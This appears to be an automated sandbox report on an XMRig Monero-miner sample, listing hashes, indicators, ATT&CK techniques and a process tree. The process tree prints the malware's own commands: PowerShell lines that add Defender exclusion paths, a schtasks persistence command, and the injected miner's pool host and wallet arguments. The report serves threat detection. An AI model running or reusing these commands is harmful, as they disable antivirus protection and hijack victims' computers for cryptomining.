xmrig | fc52bdc35a10badcd4f88cd91d0c071bc05520c78097501f5f23fd5114e15e64

Analysis

max time kernel
190s
max time network
201s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
27/11/2022, 15:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.exe
Size 3.0MB
Sample221127-te21msab67
SHA256 fc52bdc35a10badcd4f88cd91d0c071bc05520c78097501f5f23fd5114e15e64
MD5 0c622feef305af2c28e228cefb8181a4
SHA1 f5f2ba2127ce87b08f94724b516b345e62f108ef
SHA512 f0850b25006c8202ff7990191a3f5282aad7423a965aef73de260c987c2809943f383ac9b5aff5d4cf1352f39a501dff2498e6dc1f7cf3c39f3f704e2e8a0589
SSDEEP 49152:yujyHxYxAb25frlLGbe6fDZqWTGdd/04KtB1BiV6BEQqKITxr:yuExYxW25frlLGbeWDwWEd/0Ff1B3a4g
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

resource	yara_rule
behavioral2/memory/3132-196-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/3132-197-0x0000000140343234-mapping.dmp	xmrig
behavioral2/memory/3132-198-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/3132-199-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/3132-201-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/3132-202-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
212	SLNYW.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	SLNYW.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 212 set thread context of 3132	212	SLNYW.exe	94

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
3680	212	WerFault.exe	86
4188	212	WerFault.exe	86

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
3632	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1520	timeout.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
372	file.exe
372	file.exe
5116	powershell.exe
5068	powershell.exe
5116	powershell.exe
5068	powershell.exe
212	SLNYW.exe
212	SLNYW.exe
1280	powershell.exe
3148	powershell.exe
3148	powershell.exe
1280	powershell.exe
212	SLNYW.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
648	Process not Found

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	372	file.exe
Token: SeDebugPrivilege	5116	powershell.exe
Token: SeDebugPrivilege	5068	powershell.exe
Token: SeDebugPrivilege	212	SLNYW.exe
Token: SeDebugPrivilege	1280	powershell.exe
Token: SeDebugPrivilege	3148	powershell.exe
Token: SeLockMemoryPrivilege	3132	vbc.exe
Token: SeLockMemoryPrivilege	3132	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3132	vbc.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 372 wrote to memory of 5116	372	file.exe	79
PID 372 wrote to memory of 5116	372	file.exe	79
PID 372 wrote to memory of 5068	372	file.exe	82
PID 372 wrote to memory of 5068	372	file.exe	82
PID 372 wrote to memory of 2288	372	file.exe	83
PID 372 wrote to memory of 2288	372	file.exe	83
PID 2288 wrote to memory of 1520	2288	cmd.exe	85
PID 2288 wrote to memory of 1520	2288	cmd.exe	85
PID 2288 wrote to memory of 212	2288	cmd.exe	86
PID 2288 wrote to memory of 212	2288	cmd.exe	86
PID 212 wrote to memory of 1280	212	SLNYW.exe	87
PID 212 wrote to memory of 1280	212	SLNYW.exe	87
PID 212 wrote to memory of 3148	212	SLNYW.exe	90
PID 212 wrote to memory of 3148	212	SLNYW.exe	90
PID 212 wrote to memory of 3360	212	SLNYW.exe	91
PID 212 wrote to memory of 3360	212	SLNYW.exe	91
PID 3360 wrote to memory of 3632	3360	cmd.exe	93
PID 3360 wrote to memory of 3632	3360	cmd.exe	93
PID 212 wrote to memory of 3132	212	SLNYW.exe	94
PID 212 wrote to memory of 3132	212	SLNYW.exe	94
PID 212 wrote to memory of 3132	212	SLNYW.exe	94
PID 212 wrote to memory of 3132	212	SLNYW.exe	94
PID 212 wrote to memory of 3132	212	SLNYW.exe	94
PID 212 wrote to memory of 3132	212	SLNYW.exe	94
PID 212 wrote to memory of 3132	212	SLNYW.exe	94
PID 212 wrote to memory of 3132	212	SLNYW.exe	94
PID 212 wrote to memory of 3132	212	SLNYW.exe	94
PID 212 wrote to memory of 3132	212	SLNYW.exe	94
PID 212 wrote to memory of 3132	212	SLNYW.exe	94
PID 212 wrote to memory of 3132	212	SLNYW.exe	94
PID 212 wrote to memory of 3132	212	SLNYW.exe	94
PID 212 wrote to memory of 3132	212	SLNYW.exe	94
PID 212 wrote to memory of 3680	212	SLNYW.exe	97
PID 212 wrote to memory of 3680	212	SLNYW.exe	97

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5068
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp8666.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2288
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:1520
- - C:\ProgramData\template\SLNYW.exe
    "C:\ProgramData\template\SLNYW.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:212
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1280
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3148
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "SLNYW" /tr "C:\ProgramData\template\SLNYW.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3360
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "SLNYW" /tr "C:\ProgramData\template\SLNYW.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:3632
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:3132
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 212 -s 3880
      4⤵
      Program crash
      PID:3680
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 212 -s 3880
      4⤵
      Program crash
      PID:4188

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 404 -p 212 -ip 212
1⤵
PID:4716

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

SLNYW.exe

Path C:\ProgramData\template\SLNYW.exe
Size 3.0MB
SHA256 fc52bdc35a10badcd4f88cd91d0c071bc05520c78097501f5f23fd5114e15e64
MD5 0c622feef305af2c28e228cefb8181a4
SHA1 f5f2ba2127ce87b08f94724b516b345e62f108ef
SHA512 f0850b25006c8202ff7990191a3f5282aad7423a965aef73de260c987c2809943f383ac9b5aff5d4cf1352f39a501dff2498e6dc1f7cf3c39f3f704e2e8a0589
SSDEEP 49152:yujyHxYxAb25frlLGbe6fDZqWTGdd/04KtB1BiV6BEQqKITxr:yuExYxW25frlLGbeWDwWEd/0Ff1B3a4g
MD5 SHA1 SHA512 SSDEEP

Submit Download

SLNYW.exe

Path C:\ProgramData\template\SLNYW.exe
Size 3.0MB
SHA256 fc52bdc35a10badcd4f88cd91d0c071bc05520c78097501f5f23fd5114e15e64
MD5 0c622feef305af2c28e228cefb8181a4
SHA1 f5f2ba2127ce87b08f94724b516b345e62f108ef
SHA512 f0850b25006c8202ff7990191a3f5282aad7423a965aef73de260c987c2809943f383ac9b5aff5d4cf1352f39a501dff2498e6dc1f7cf3c39f3f704e2e8a0589
SSDEEP 49152:yujyHxYxAb25frlLGbe6fDZqWTGdd/04KtB1BiV6BEQqKITxr:yuExYxW25frlLGbeWDwWEd/0Ff1B3a4g
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
MD5 6d3e9c29fe44e90aae6ed30ccf799ca8
SHA1 c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA512 60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
MD5 6d3e9c29fe44e90aae6ed30ccf799ca8
SHA1 c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA512 60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 5402ab54acae52bd9f15cdf7bf71e4892217120002619b1b27ff5c98875e59da
MD5 ba2048d5e4fc5a081a4556c4ce219809
SHA1 bcf01ee459316c48383c98ef84ebd96cf01201c2
SHA512 339088cec8f514a505297ba32f9b722ce4c87e3c897c92fc63f8478b03102bff750bddf70763dabaceba829d783b608e24a39582ae2007ecadd71e26744b1052
MD5 SHA1 SHA512

Submit Download

tmp8666.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp8666.tmp.bat
Size 142B
SHA256 3b38c251c1f946a4705c06cef008f7ddca07e2e675ebc07947eb1f1244a38cfc
MD5 ed0d81cea115fe08c1da7ac5eaeab66e
SHA1 b755b4ac22dba2932171865cd6f38b439dd56144
SHA512 e9069c0af194cb79763d585d0c5190ae4edf3fa8d37763d26a0834bd9cd18cf80f6d4dc7467369872a7cc390903b423bce7dcae5d99a7a46f950f767fd6a5075
MD5 SHA1 SHA512

Submit Download

memory/212-191-0x00007FF8E6A00000-0x00007FF8E6A3B000-memory.dmp

Download

memory/212-165-0x0000000000A60000-0x0000000000EE4000-memory.dmp

Download

memory/212-206-0x00007FF8CBCA0000-0x00007FF8CC761000-memory.dmp

Download

memory/212-205-0x0000000000A60000-0x0000000000EE4000-memory.dmp

Download

memory/212-195-0x00007FF8C7270000-0x00007FF8C73DA000-memory.dmp

Download

memory/212-194-0x00007FF8CBCA0000-0x00007FF8CC761000-memory.dmp

Download

memory/212-175-0x00007FF8CCFF0000-0x00007FF8CD13E000-memory.dmp

Download

memory/212-193-0x00000000016D0000-0x0000000001712000-memory.dmp

Download

memory/212-192-0x0000000000A60000-0x0000000000EE4000-memory.dmp

Download

memory/212-190-0x00007FF8E8B20000-0x00007FF8E8B8B000-memory.dmp

Download

memory/212-189-0x00007FF8CCA20000-0x00007FF8CCB22000-memory.dmp

Download

memory/212-188-0x00007FF8CC9E0000-0x00007FF8CCA15000-memory.dmp

Download

memory/212-187-0x00007FF8E7690000-0x00007FF8E76B7000-memory.dmp

Download

memory/212-176-0x00007FF8CBCA0000-0x00007FF8CC761000-memory.dmp

Download

memory/212-174-0x0000000000A60000-0x0000000000EE4000-memory.dmp

Download

memory/212-173-0x00007FF8E8640000-0x00007FF8E866B000-memory.dmp

Download

memory/212-172-0x00007FF8CBCA0000-0x00007FF8CC761000-memory.dmp

Download

memory/212-171-0x00007FF8E9430000-0x00007FF8E95D1000-memory.dmp

Download

memory/212-170-0x00007FF8CD140000-0x00007FF8CD1FD000-memory.dmp

Download

memory/212-169-0x00007FF8E5550000-0x00007FF8E5562000-memory.dmp

Download

memory/212-168-0x00007FF8E9390000-0x00007FF8E942E000-memory.dmp

Download

memory/212-167-0x00000000016D0000-0x0000000001712000-memory.dmp

Download

memory/212-166-0x00007FF8CD250000-0x00007FF8CD2FA000-memory.dmp

Download

memory/372-138-0x00007FF8E9430000-0x00007FF8E95D1000-memory.dmp

Download

memory/372-152-0x00007FF8CBCA0000-0x00007FF8CC761000-memory.dmp

Download

memory/372-137-0x00007FF8CD140000-0x00007FF8CD1FD000-memory.dmp

Download

memory/372-142-0x00007FF8E8640000-0x00007FF8E866B000-memory.dmp

Download

memory/372-143-0x00000000002B0000-0x0000000000734000-memory.dmp

Download

memory/372-139-0x00007FF8CBCA0000-0x00007FF8CC761000-memory.dmp

Download

memory/372-140-0x00000000002B0000-0x0000000000734000-memory.dmp

Download

memory/372-141-0x0000000000F30000-0x0000000000F72000-memory.dmp

Download

memory/372-144-0x00007FF8CCFF0000-0x00007FF8CD13E000-memory.dmp

Download

memory/372-145-0x00007FF8CBCA0000-0x00007FF8CC761000-memory.dmp

Download

memory/372-132-0x00000000002B0000-0x0000000000734000-memory.dmp

Download

memory/372-150-0x0000000000F30000-0x0000000000F72000-memory.dmp

Download

memory/372-149-0x00000000002B0000-0x0000000000734000-memory.dmp

Download

memory/372-136-0x00007FF8E5550000-0x00007FF8E5562000-memory.dmp

Download

memory/372-135-0x00007FF8E9390000-0x00007FF8E942E000-memory.dmp

Download

memory/372-134-0x00007FF8CD250000-0x00007FF8CD2FA000-memory.dmp

Download

memory/1280-182-0x00007FF8CBCA0000-0x00007FF8CC761000-memory.dmp

Download

memory/1280-183-0x00007FF8CBCA0000-0x00007FF8CC761000-memory.dmp

Download

memory/3132-202-0x0000000140000000-0x00000001407C9000-memory.dmp

Download

memory/3132-199-0x0000000140000000-0x00000001407C9000-memory.dmp

Download

memory/3132-207-0x00000242F1AB0000-0x00000242F1AD0000-memory.dmp

Download

memory/3132-201-0x0000000140000000-0x00000001407C9000-memory.dmp

Download

memory/3132-200-0x00000242F1910000-0x00000242F1930000-memory.dmp

Download

memory/3132-210-0x0000024384130000-0x0000024384150000-memory.dmp

Download

memory/3132-204-0x00000242F1960000-0x00000242F19A0000-memory.dmp

Download

memory/3132-209-0x00000242F1AB0000-0x00000242F1AD0000-memory.dmp

Download

memory/3132-208-0x0000024384130000-0x0000024384150000-memory.dmp

Download

memory/3132-198-0x0000000140000000-0x00000001407C9000-memory.dmp

Download

memory/3132-196-0x0000000140000000-0x00000001407C9000-memory.dmp

Download

memory/3148-184-0x00007FF8CBCA0000-0x00007FF8CC761000-memory.dmp

Download

memory/3148-186-0x00007FF8CBCA0000-0x00007FF8CC761000-memory.dmp

Download

memory/5068-159-0x00007FF8CBCA0000-0x00007FF8CC761000-memory.dmp

Download

memory/5068-154-0x00007FF8CBCA0000-0x00007FF8CC761000-memory.dmp

Download

memory/5116-160-0x00007FF8CBCA0000-0x00007FF8CC761000-memory.dmp

Download

memory/5116-153-0x00007FF8CBCA0000-0x00007FF8CC761000-memory.dmp

Download

memory/5116-151-0x0000014665390000-0x00000146653B2000-memory.dmp

Download